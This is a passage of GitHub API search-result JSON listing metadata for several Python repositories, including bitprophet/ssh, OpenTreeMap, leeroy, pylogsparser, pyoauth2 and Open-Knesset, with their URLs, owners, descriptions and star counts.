!","fork":false,"url":"https://api.github.com/repos/bitprophet/ssh","forks_url":"https://api.github.com/repos/bitprophet/ssh/forks","keys_url":"https://api.github.com/repos/bitprophet/ssh/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bitprophet/ssh/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bitprophet/ssh/teams","hooks_url":"https://api.github.com/repos/bitprophet/ssh/hooks","issue_events_url":"https://api.github.com/repos/bitprophet/ssh/issues/events{/number}","events_url":"https://api.github.com/repos/bitprophet/ssh/events","assignees_url":"https://api.github.com/repos/bitprophet/ssh/assignees{/user}","branches_url":"https://api.github.com/repos/bitprophet/ssh/branches{/branch}","tags_url":"https://api.github.com/repos/bitprophet/ssh/tags","blobs_url":"https://api.github.com/repos/bitprophet/ssh/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bitprophet/ssh/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bitprophet/ssh/git/refs{/sha}","trees_url":"https://api.github.com/repos/bitprophet/ssh/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bitprophet/ssh/statuses/{sha}","languages_url":"https://api.github.com/repos/bitprophet/ssh/languages","stargazers_url":"https://api.github.com/repos/bitprophet/ssh/stargazers","contributors_url":"https://api.github.com/repos/bitprophet/ssh/contributors","subscribers_url":"https://api.github.com/repos/bitprophet/ssh/subscribers","subscription_url":"https://api.github.com/repos/bitprophet/ssh/subscription","commits_url":"https://api.github.com/repos/bitprophet/ssh/commits{/sha}","git_commits_url":"https://api.github.com/repos/bitprophet/ssh/git/commits{/sha}","comments_url":"https://api.github.com/repos/bitprophet/ssh/comments{/number}","issue_comment_url":"https://api.github.com/repos/bitprophet/ssh/issues/comments/{number}","contents_url":"https://api.github.com/repos/bitprophet/ssh/contents/{+path}","compare_url":"https://api.github.com/repos/bitprophet/ssh/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bitprophet/ssh/merges","archive_url":"https://api.github.com/repos/bitprophet/ssh/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bitprophet/ssh/downloads","issues_url":"https://api.github.com/repos/bitprophet/ssh/issues{/number}","pulls_url":"https://api.github.com/repos/bitprophet/ssh/pulls{/number}","milestones_url":"https://api.github.com/repos/bitprophet/ssh/milestones{/number}","notifications_url":"https://api.github.com/repos/bitprophet/ssh/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bitprophet/ssh/labels{/name}","releases_url":"https://api.github.com/repos/bitprophet/ssh/releases{/id}","created_at":"2011-10-23T06:53:41Z","updated_at":"2014-01-10T06:53:46Z","pushed_at":"2012-10-06T17:06:38Z","git_url":"git://github.com/bitprophet/ssh.git","ssh_url":"git@github.com:bitprophet/ssh.git","clone_url":"https://github.com/bitprophet/ssh.git","svn_url":"https://github.com/bitprophet/ssh","homepage":"https://github.com/paramiko/paramiko","size":1797,"stargazers_count":122,"watchers_count":122,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":44,"mirror_url":null,"open_issues_count":16,"forks":44,"open_issues":16,"watchers":122,"default_branch":"master","master_branch":"master","score":10.844821},{"id":1861476,"name":"OpenTreeMap","full_name":"azavea/OpenTreeMap","owner":{"login":"azavea","id":595231,"avatar_url":"https://avatars.githubusercontent.com/u/595231","gravatar_id":"49884cb2080832e07241d7bdb6259820","url":"https://api.github.com/users/azavea","html_url":"https://github.com/azavea","followers_url":"https://api.github.com/users/azavea/followers","following_url":"https://api.github.com/users/azavea/following{/other_user}","gists_url":"https://api.github.com/users/azavea/gists{/gist_id}","starred_url":"https://api.github.com/users/azavea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/azavea/subscriptions","organizations_url":"https://api.github.com/users/azavea/orgs","repos_url":"https://api.github.com/users/azavea/repos","events_url":"https://api.github.com/users/azavea/events{/privacy}","received_events_url":"https://api.github.com/users/azavea/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/azavea/OpenTreeMap","description":"OpenTreeMap is a wiki-inspired, web-based geographic tree inventory application that enables individuals, organizations, and governments to work together and collaboratively map the urban forest. OpenTreeMap is a project of Azavea and Urban Ecos. The code is currently being used to create PhillyTreeMap.org, UrbanForestMap.org, GreenprintMaps.org, SanDiegoTreeMap.org, the Grand Rapids Urban Forest Project tree map (treemap.urbanforestproject.com), Treezilla.org, and TampaTreeMap.org. The code to create an iOS app version of OpenTreeMap is available at https://github.com/azavea/OpenTreeMap-iOS. A default skin for the iOS app is available at https://github.com/azavea/OpenTreeMap-iOS-skin. Android code is available at https://github.com/azavea/OpenTreeMap-Android ","fork":false,"url":"https://api.github.com/repos/azavea/OpenTreeMap","forks_url":"https://api.github.com/repos/azavea/OpenTreeMap/forks","keys_url":"https://api.github.com/repos/azavea/OpenTreeMap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/azavea/OpenTreeMap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/azavea/OpenTreeMap/teams","hooks_url":"https://api.github.com/repos/azavea/OpenTreeMap/hooks","issue_events_url":"https://api.github.com/repos/azavea/OpenTreeMap/issues/events{/number}","events_url":"https://api.github.com/repos/azavea/OpenTreeMap/events","assignees_url":"https://api.github.com/repos/azavea/OpenTreeMap/assignees{/user}","branches_url":"https://api.github.com/repos/azavea/OpenTreeMap/branches{/branch}","tags_url":"https://api.github.com/repos/azavea/OpenTreeMap/tags","blobs_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/refs{/sha}","trees_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/azavea/OpenTreeMap/statuses/{sha}","languages_url":"https://api.github.com/repos/azavea/OpenTreeMap/languages","stargazers_url":"https://api.github.com/repos/azavea/OpenTreeMap/stargazers","contributors_url":"https://api.github.com/repos/azavea/OpenTreeMap/contributors","subscribers_url":"https://api.github.com/repos/azavea/OpenTreeMap/subscribers","subscription_url":"https://api.github.com/repos/azavea/OpenTreeMap/subscription","commits_url":"https://api.github.com/repos/azavea/OpenTreeMap/commits{/sha}","git_commits_url":"https://api.github.com/repos/azavea/OpenTreeMap/git/commits{/sha}","comments_url":"https://api.github.com/repos/azavea/OpenTreeMap/comments{/number}","issue_comment_url":"https://api.github.com/repos/azavea/OpenTreeMap/issues/comments/{number}","contents_url":"https://api.github.com/repos/azavea/OpenTreeMap/contents/{+path}","compare_url":"https://api.github.com/repos/azavea/OpenTreeMap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/azavea/OpenTreeMap/merges","archive_url":"https://api.github.com/repos/azavea/OpenTreeMap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/azavea/OpenTreeMap/downloads","issues_url":"https://api.github.com/repos/azavea/OpenTreeMap/issues{/number}","pulls_url":"https://api.github.com/repos/azavea/OpenTreeMap/pulls{/number}","milestones_url":"https://api.github.com/repos/azavea/OpenTreeMap/milestones{/number}","notifications_url":"https://api.github.com/repos/azavea/OpenTreeMap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/azavea/OpenTreeMap/labels{/name}","releases_url":"https://api.github.com/repos/azavea/OpenTreeMap/releases{/id}","created_at":"2011-06-07T18:57:58Z","updated_at":"2014-02-10T17:14:06Z","pushed_at":"2014-02-10T17:14:06Z","git_url":"git://github.com/azavea/OpenTreeMap.git","ssh_url":"git@github.com:azavea/OpenTreeMap.git","clone_url":"https://github.com/azavea/OpenTreeMap.git","svn_url":"https://github.com/azavea/OpenTreeMap","homepage":"http://www.azavea.com/opentreemap/","size":16573,"stargazers_count":118,"watchers_count":118,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":58,"mirror_url":null,"open_issues_count":22,"forks":58,"open_issues":22,"watchers":118,"default_branch":"v1.3","master_branch":"v1.3","score":7.4777703},{"id":5690595,"name":"leeroy","full_name":"litl/leeroy","owner":{"login":"litl","id":190361,"avatar_url":"https://avatars.githubusercontent.com/u/190361","gravatar_id":"2544baae90780aa558a2dedc84817cab","url":"https://api.github.com/users/litl","html_url":"https://github.com/litl","followers_url":"https://api.github.com/users/litl/followers","following_url":"https://api.github.com/users/litl/following{/other_user}","gists_url":"https://api.github.com/users/litl/gists{/gist_id}","starred_url":"https://api.github.com/users/litl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/litl/subscriptions","organizations_url":"https://api.github.com/users/litl/orgs","repos_url":"https://api.github.com/users/litl/repos","events_url":"https://api.github.com/users/litl/events{/privacy}","received_events_url":"https://api.github.com/users/litl/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/litl/leeroy","description":"Jenkins integration with GitHub pull requests","fork":false,"url":"https://api.github.com/repos/litl/leeroy","forks_url":"https://api.github.com/repos/litl/leeroy/forks","keys_url":"https://api.github.com/repos/litl/leeroy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/litl/leeroy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/litl/leeroy/teams","hooks_url":"https://api.github.com/repos/litl/leeroy/hooks","issue_events_url":"https://api.github.com/repos/litl/leeroy/issues/events{/number}","events_url":"https://api.github.com/repos/litl/leeroy/events","assignees_url":"https://api.github.com/repos/litl/leeroy/assignees{/user}","branches_url":"https://api.github.com/repos/litl/leeroy/branches{/branch}","tags_url":"https://api.github.com/repos/litl/leeroy/tags","blobs_url":"https://api.github.com/repos/litl/leeroy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/litl/leeroy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/litl/leeroy/git/refs{/sha}","trees_url":"https://api.github.com/repos/litl/leeroy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/litl/leeroy/statuses/{sha}","languages_url":"https://api.github.com/repos/litl/leeroy/languages","stargazers_url":"https://api.github.com/repos/litl/leeroy/stargazers","contributors_url":"https://api.github.com/repos/litl/leeroy/contributors","subscribers_url":"https://api.github.com/repos/litl/leeroy/subscribers","subscription_url":"https://api.github.com/repos/litl/leeroy/subscription","commits_url":"https://api.github.com/repos/litl/leeroy/commits{/sha}","git_commits_url":"https://api.github.com/repos/litl/leeroy/git/commits{/sha}","comments_url":"https://api.github.com/repos/litl/leeroy/comments{/number}","issue_comment_url":"https://api.github.com/repos/litl/leeroy/issues/comments/{number}","contents_url":"https://api.github.com/repos/litl/leeroy/contents/{+path}","compare_url":"https://api.github.com/repos/litl/leeroy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/litl/leeroy/merges","archive_url":"https://api.github.com/repos/litl/leeroy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/litl/leeroy/downloads","issues_url":"https://api.github.com/repos/litl/leeroy/issues{/number}","pulls_url":"https://api.github.com/repos/litl/leeroy/pulls{/number}","milestones_url":"https://api.github.com/repos/litl/leeroy/milestones{/number}","notifications_url":"https://api.github.com/repos/litl/leeroy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/litl/leeroy/labels{/name}","releases_url":"https://api.github.com/repos/litl/leeroy/releases{/id}","created_at":"2012-09-05T17:19:00Z","updated_at":"2014-02-25T17:39:20Z","pushed_at":"2014-02-25T17:39:20Z","git_url":"git://github.com/litl/leeroy.git","ssh_url":"git@github.com:litl/leeroy.git","clone_url":"https://github.com/litl/leeroy.git","svn_url":"https://github.com/litl/leeroy","homepage":null,"size":279,"stargazers_count":109,"watchers_count":109,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":22,"mirror_url":null,"open_issues_count":7,"forks":22,"open_issues":7,"watchers":109,"default_branch":"master","master_branch":"master","score":12.909185},{"id":2068621,"name":"pylogsparser","full_name":"wallix/pylogsparser","owner":{"login":"wallix","id":264401,"avatar_url":"https://avatars.githubusercontent.com/u/264401","gravatar_id":"bdde72080a52a0ed24c2c18c4ebd7d60","url":"https://api.github.com/users/wallix","html_url":"https://github.com/wallix","followers_url":"https://api.github.com/users/wallix/followers","following_url":"https://api.github.com/users/wallix/following{/other_user}","gists_url":"https://api.github.com/users/wallix/gists{/gist_id}","starred_url":"https://api.github.com/users/wallix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wallix/subscriptions","organizations_url":"https://api.github.com/users/wallix/orgs","repos_url":"https://api.github.com/users/wallix/repos","events_url":"https://api.github.com/users/wallix/events{/privacy}","received_events_url":"https://api.github.com/users/wallix/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/wallix/pylogsparser","description":"Library for Log parsing in Python - get the documentation at http://wallix.github.com/pylogsparser/","fork":false,"url":"https://api.github.com/repos/wallix/pylogsparser","forks_url":"https://api.github.com/repos/wallix/pylogsparser/forks","keys_url":"https://api.github.com/repos/wallix/pylogsparser/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wallix/pylogsparser/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wallix/pylogsparser/teams","hooks_url":"https://api.github.com/repos/wallix/pylogsparser/hooks","issue_events_url":"https://api.github.com/repos/wallix/pylogsparser/issues/events{/number}","events_url":"https://api.github.com/repos/wallix/pylogsparser/events","assignees_url":"https://api.github.com/repos/wallix/pylogsparser/assignees{/user}","branches_url":"https://api.github.com/repos/wallix/pylogsparser/branches{/branch}","tags_url":"https://api.github.com/repos/wallix/pylogsparser/tags","blobs_url":"https://api.github.com/repos/wallix/pylogsparser/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wallix/pylogsparser/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wallix/pylogsparser/git/refs{/sha}","trees_url":"https://api.github.com/repos/wallix/pylogsparser/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wallix/pylogsparser/statuses/{sha}","languages_url":"https://api.github.com/repos/wallix/pylogsparser/languages","stargazers_url":"https://api.github.com/repos/wallix/pylogsparser/stargazers","contributors_url":"https://api.github.com/repos/wallix/pylogsparser/contributors","subscribers_url":"https://api.github.com/repos/wallix/pylogsparser/subscribers","subscription_url":"https://api.github.com/repos/wallix/pylogsparser/subscription","commits_url":"https://api.github.com/repos/wallix/pylogsparser/commits{/sha}","git_commits_url":"https://api.github.com/repos/wallix/pylogsparser/git/commits{/sha}","comments_url":"https://api.github.com/repos/wallix/pylogsparser/comments{/number}","issue_comment_url":"https://api.github.com/repos/wallix/pylogsparser/issues/comments/{number}","contents_url":"https://api.github.com/repos/wallix/pylogsparser/contents/{+path}","compare_url":"https://api.github.com/repos/wallix/pylogsparser/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wallix/pylogsparser/merges","archive_url":"https://api.github.com/repos/wallix/pylogsparser/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wallix/pylogsparser/downloads","issues_url":"https://api.github.com/repos/wallix/pylogsparser/issues{/number}","pulls_url":"https://api.github.com/repos/wallix/pylogsparser/pulls{/number}","milestones_url":"https://api.github.com/repos/wallix/pylogsparser/milestones{/number}","notifications_url":"https://api.github.com/repos/wallix/pylogsparser/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wallix/pylogsparser/labels{/name}","releases_url":"https://api.github.com/repos/wallix/pylogsparser/releases{/id}","created_at":"2011-07-18T20:29:40Z","updated_at":"2014-01-16T08:42:29Z","pushed_at":"2013-11-06T11:15:06Z","git_url":"git://github.com/wallix/pylogsparser.git","ssh_url":"git@github.com:wallix/pylogsparser.git","clone_url":"https://github.com/wallix/pylogsparser.git","svn_url":"https://github.com/wallix/pylogsparser","homepage":"http://www.wallix.org/pylogsparser-project/","size":978,"stargazers_count":102,"watchers_count":102,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":14,"mirror_url":null,"open_issues_count":2,"forks":14,"open_issues":2,"watchers":102,"default_branch":"master","master_branch":"master","score":7.27245},{"id":5620853,"name":"pyoauth2","full_name":"StartTheShift/pyoauth2","owner":{"login":"StartTheShift","id":685075,"avatar_url":"https://avatars.githubusercontent.com/u/685075","gravatar_id":"b948d51748c15d049f20b12172ac1e01","url":"https://api.github.com/users/StartTheShift","html_url":"https://github.com/StartTheShift","followers_url":"https://api.github.com/users/StartTheShift/followers","following_url":"https://api.github.com/users/StartTheShift/following{/other_user}","gists_url":"https://api.github.com/users/StartTheShift/gists{/gist_id}","starred_url":"https://api.github.com/users/StartTheShift/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/StartTheShift/subscriptions","organizations_url":"https://api.github.com/users/StartTheShift/orgs","repos_url":"https://api.github.com/users/StartTheShift/repos","events_url":"https://api.github.com/users/StartTheShift/events{/privacy}","received_events_url":"https://api.github.com/users/StartTheShift/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/StartTheShift/pyoauth2","description":"OAuth 2.0 Library - WE ARE NO LONGER MAINTAINING THIS LIBRARY, PLEASE SEE this fork: https://github.com/NateFerrero/pyoauth2","fork":false,"url":"https://api.github.com/repos/StartTheShift/pyoauth2","forks_url":"https://api.github.com/repos/StartTheShift/pyoauth2/forks","keys_url":"https://api.github.com/repos/StartTheShift/pyoauth2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/StartTheShift/pyoauth2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/StartTheShift/pyoauth2/teams","hooks_url":"https://api.github.com/repos/StartTheShift/pyoauth2/hooks","issue_events_url":"https://api.github.com/repos/StartTheShift/pyoauth2/issues/events{/number}","events_url":"https://api.github.com/repos/StartTheShift/pyoauth2/events","assignees_url":"https://api.github.com/repos/StartTheShift/pyoauth2/assignees{/user}","branches_url":"https://api.github.com/repos/StartTheShift/pyoauth2/branches{/branch}","tags_url":"https://api.github.com/repos/StartTheShift/pyoauth2/tags","blobs_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/refs{/sha}","trees_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/StartTheShift/pyoauth2/statuses/{sha}","languages_url":"https://api.github.com/repos/StartTheShift/pyoauth2/languages","stargazers_url":"https://api.github.com/repos/StartTheShift/pyoauth2/stargazers","contributors_url":"https://api.github.com/repos/StartTheShift/pyoauth2/contributors","subscribers_url":"https://api.github.com/repos/StartTheShift/pyoauth2/subscribers","subscription_url":"https://api.github.com/repos/StartTheShift/pyoauth2/subscription","commits_url":"https://api.github.com/repos/StartTheShift/pyoauth2/commits{/sha}","git_commits_url":"https://api.github.com/repos/StartTheShift/pyoauth2/git/commits{/sha}","comments_url":"https://api.github.com/repos/StartTheShift/pyoauth2/comments{/number}","issue_comment_url":"https://api.github.com/repos/StartTheShift/pyoauth2/issues/comments/{number}","contents_url":"https://api.github.com/repos/StartTheShift/pyoauth2/contents/{+path}","compare_url":"https://api.github.com/repos/StartTheShift/pyoauth2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/StartTheShift/pyoauth2/merges","archive_url":"https://api.github.com/repos/StartTheShift/pyoauth2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/StartTheShift/pyoauth2/downloads","issues_url":"https://api.github.com/repos/StartTheShift/pyoauth2/issues{/number}","pulls_url":"https://api.github.com/repos/StartTheShift/pyoauth2/pulls{/number}","milestones_url":"https://api.github.com/repos/StartTheShift/pyoauth2/milestones{/number}","notifications_url":"https://api.github.com/repos/StartTheShift/pyoauth2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/StartTheShift/pyoauth2/labels{/name}","releases_url":"https://api.github.com/repos/StartTheShift/pyoauth2/releases{/id}","created_at":"2012-08-30T20:59:58Z","updated_at":"2014-01-11T19:54:53Z","pushed_at":"2013-05-01T22:17:49Z","git_url":"git://github.com/StartTheShift/pyoauth2.git","ssh_url":"git@github.com:StartTheShift/pyoauth2.git","clone_url":"https://github.com/StartTheShift/pyoauth2.git","svn_url":"https://github.com/StartTheShift/pyoauth2","homepage":"","size":290,"stargazers_count":102,"watchers_count":102,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":false,"forks_count":28,"mirror_url":null,"open_issues_count":5,"forks":28,"open_issues":5,"watchers":102,"default_branch":"master","master_branch":"master","score":8.102054},{"id":1918566,"name":"git-pull-request","full_name":"splitbrain/git-pull-request","owner":{"login":"splitbrain","id":86426,"avatar_url":"https://avatars.githubusercontent.com/u/86426","gravatar_id":"b6b4d7dbe3fb7cf61b68e36cd80f8698","url":"https://api.github.com/users/splitbrain","html_url":"https://github.com/splitbrain","followers_url":"https://api.github.com/users/splitbrain/followers","following_url":"https://api.github.com/users/splitbrain/following{/other_user}","gists_url":"https://api.github.com/users/splitbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/splitbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/splitbrain/subscriptions","organizations_url":"https://api.github.com/users/splitbrain/orgs","repos_url":"https://api.github.com/users/splitbrain/repos","events_url":"https://api.github.com/users/splitbrain/events{/privacy}","received_events_url":"https://api.github.com/users/splitbrain/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/splitbrain/git-pull-request","description":"git command to automatically pull github pull requests into their own branch","fork":false,"url":"https://api.github.com/repos/splitbrain/git-pull-request","forks_url":"https://api.github.com/repos/splitbrain/git-pull-request/forks","keys_url":"https://api.github.com/repos/splitbrain/git-pull-request/keys{/key_id}","collaborators_url":"https://api.github.com/repos/splitbrain/git-pull-request/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/splitbrain/git-pull-request/teams","hooks_url":"https://api.github.com/repos/splitbrain/git-pull-request/hooks","issue_events_url":"https://api.github.com/repos/splitbrain/git-pull-request/issues/events{/number}","events_url":"https://api.github.com/repos/splitbrain/git-pull-request/events","assignees_url":"https://api.github.com/repos/splitbrain/git-pull-request/assignees{/user}","branches_url":"https://api.github.com/repos/splitbrain/git-pull-request/branches{/branch}","tags_url":"https://api.github.com/repos/splitbrain/git-pull-request/tags","blobs_url":"https://api.github.com/repos/splitbrain/git-pull-request/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/splitbrain/git-pull-request/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/splitbrain/git-pull-request/git/refs{/sha}","trees_url":"https://api.github.com/repos/splitbrain/git-pull-request/git/trees{/sha}","statuses_url":"https://api.github.com/repos/splitbrain/git-pull-request/statuses/{sha}","languages_url":"https://api.github.com/repos/splitbrain/git-pull-request/languages","stargazers_url":"https://api.github.com/repos/splitbrain/git-pull-request/stargazers","contributors_url":"https://api.github.com/repos/splitbrain/git-pull-request/contributors","subscribers_url":"https://api.github.com/repos/splitbrain/git-pull-request/subscribers","subscription_url":"https://api.github.com/repos/splitbrain/git-pull-request/subscription","commits_url":"https://api.github.com/repos/splitbrain/git-pull-request/commits{/sha}","git_commits_url":"https://api.github.com/repos/splitbrain/git-pull-request/git/commits{/sha}","comments_url":"https://api.github.com/repos/splitbrain/git-pull-request/comments{/number}","issue_comment_url":"https://api.github.com/repos/splitbrain/git-pull-request/issues/comments/{number}","contents_url":"https://api.github.com/repos/splitbrain/git-pull-request/contents/{+path}","compare_url":"https://api.github.com/repos/splitbrain/git-pull-request/compare/{base}...{head}","merges_url":"https://api.github.com/repos/splitbrain/git-pull-request/merges","archive_url":"https://api.github.com/repos/splitbrain/git-pull-request/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/splitbrain/git-pull-request/downloads","issues_url":"https://api.github.com/repos/splitbrain/git-pull-request/issues{/number}","pulls_url":"https://api.github.com/repos/splitbrain/git-pull-request/pulls{/number}","milestones_url":"https://api.github.com/repos/splitbrain/git-pull-request/milestones{/number}","notifications_url":"https://api.github.com/repos/splitbrain/git-pull-request/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/splitbrain/git-pull-request/labels{/name}","releases_url":"https://api.github.com/repos/splitbrain/git-pull-request/releases{/id}","created_at":"2011-06-19T07:42:17Z","updated_at":"2014-01-13T15:58:47Z","pushed_at":"2013-02-01T08:06:03Z","git_url":"git://github.com/splitbrain/git-pull-request.git","ssh_url":"git@github.com:splitbrain/git-pull-request.git","clone_url":"https://github.com/splitbrain/git-pull-request.git","svn_url":"https://github.com/splitbrain/git-pull-request","homepage":"http://www.splitbrain.org/blog/2011-06/19-automate_github_pull_requests","size":172,"stargazers_count":100,"watchers_count":100,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":33,"mirror_url":null,"open_issues_count":3,"forks":33,"open_issues":3,"watchers":100,"default_branch":"master","master_branch":"master","score":12.054033},{"id":263749,"name":"Open-Knesset","full_name":"ofri/Open-Knesset","owner":{"login":"ofri","id":105233,"avatar_url":"https://avatars.githubusercontent.com/u/105233","gravatar_id":"4437e31fa0c1333736b30c9543891198","url":"https://api.github.com/users/ofri","html_url":"https://github.com/ofri","followers_url":"https://api.github.com/users/ofri/followers","following_url":"https://api.github.com/users/ofri/following{/other_user}","gists_url":"https://api.github.com/users/ofri/gists{/gist_id}","starred_url":"https://api.github.com/users/ofri/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofri/subscriptions","organizations_url":"https://api.github.com/users/ofri/orgs","repos_url":"https://api.github.com/users/ofri/repos","events_url":"https://api.github.com/users/ofri/events{/privacy}","received_events_url":"https://api.github.com/users/ofri/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/ofri/Open-Knesset","description":"** The official repo is at https://github.com/hasadna/Open-Knesset/ . Please fork it, instead of my repo.","fork":false,"url":"https://api.github.com/repos/ofri/Open-Knesset","forks_url":"https://api.github.com/repos/ofri/Open-Knesset/forks","keys_url":"https://api.github.com/repos/ofri/Open-Knesset/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ofri/Open-Knesset/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ofri/Open-Knesset/teams","hooks_url":"https://api.github.com/repos/ofri/Open-Knesset/hooks","issue_events_url":"https://api.github.com/repos/ofri/Open-Knesset/issues/events{/number}","events_url":"https://api.github.com/repos/ofri/Open-Knesset/events","assignees_url":"https://api.github.com/repos/ofri/Open-Knesset/assignees{/user}","branches_url":"https://api.github.com/repos/ofri/Open-Knesset/branches{/branch}","tags_url":"https://api.github.com/repos/ofri/Open-Knesset/tags","blobs_url":"https://api.github.com/repos/ofri/Open-Knesset/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ofri/Open-Knesset/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ofri/Open-Knesset/git/refs{/sha}","trees_url":"https://api.github.com/repos/ofri/Open-Knesset/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ofri/Open-Knesset/statuses/{sha}","languages_url":"https://api.github.com/repos/ofri/Open-Knesset/languages","stargazers_url":"https://api.github.com/repos/ofri/Open-Knesset/stargazers","contributors_url":"https://api.github.com/repos/ofri/Open-Knesset/contributors","subscribers_url":"https://api.github.com/repos/ofri/Open-Knesset/subscribers","subscription_url":"https://api.github.com/repos/ofri/Open-Knesset/subscription","commits_url":"https://api.github.com/repos/ofri/Open-Knesset/commits{/sha}","git_commits_url":"https://api.github.com/repos/ofri/Open-Knesset/git/commits{/sha}","comments_url":"https://api.github.com/repos/ofri/Open-Knesset/comments{/number}","issue_comment_url":"https://api.github.com/repos/ofri/Open-Knesset/issues/comments/{number}","contents_url":"https://api.github.com/repos/ofri/Open-Knesset/contents/{+path}","compare_url":"https://api.github.com/repos/ofri/Open-Knesset/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ofri/Open-Knesset/merges","archive_url":"https://api.github.com/repos/ofri/Open-Knesset/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ofri/Open-Knesset/downloads","issues_url":"https://api.github.com/repos/ofri/Open-Knesset/issues{/number}","pulls_url":"https://api.github.com/repos/ofri/Open-Knesset/pulls{/number}","milestones_url":"https://api.github.com/repos/ofri/Open-Knesset/milestones{/number}","notifications_url":"https://api.github.com/repos/ofri/Open-Knesset/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ofri/Open-Knesset/labels{/name}","releases_url":"https://api.github.com/repos/ofri/Open-Knesset/releases{/id}","created_at":"2009-07-29T16:58:51Z","updated_at":"2014-02-24T18:55:33Z","pushed_at":"2014-02-24T18:55:33Z","git_url":"git://github.com/ofri/Open-Knesset.git","ssh_url":"git@github.com:ofri/Open-Knesset.git","clone_url":"https://github.com/ofri/Open-Knesset.git","svn_url":"https://github.com/ofri/Open-Knesset","homepage":"https://github.com/hasadna/Open-Knesset/","size":28772,"stargazers_count":98,"watchers_count":98,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":218,"mirror_url":null,"open_issues_count":20,"forks":218,"open_issues":20,"watchers":98,"default_branch":"master","master_branch":"master","score":14.709705},{"id":5140859,"name":"django-notifications","full_name":"brantyoung/django-notifications","owner":{"login":"brantyoung","id":1528179,"avatar_url":"https://avatars.githubusercontent.com/u/1528179","gravatar_id":"59ec8eabd9f54aed9eea4f430334d052","url":"https://api.github.com/users/brantyoung","html_url":"https://github.com/brantyoung","followers_url":"https://api.github.com/users/brantyoung/followers","following_url":"https://api.github.com/users/brantyoung/following{/other_user}","gists_url":"https://api.github.com/users/brantyoung/gists{/gist_id}","starred_url":"https://api.github.com/users/brantyoung/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brantyoung/subscriptions","organizations_url":"https://api.github.com/users/brantyoung/orgs","repos_url":"https://api.github.com/users/brantyoung/repos","events_url":"https://api.github.com/users/brantyoung/events{/privacy}","received_events_url":"https://api.github.com/users/brantyoung/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/brantyoung/django-notifications","description":"GitHub notifications alike app for 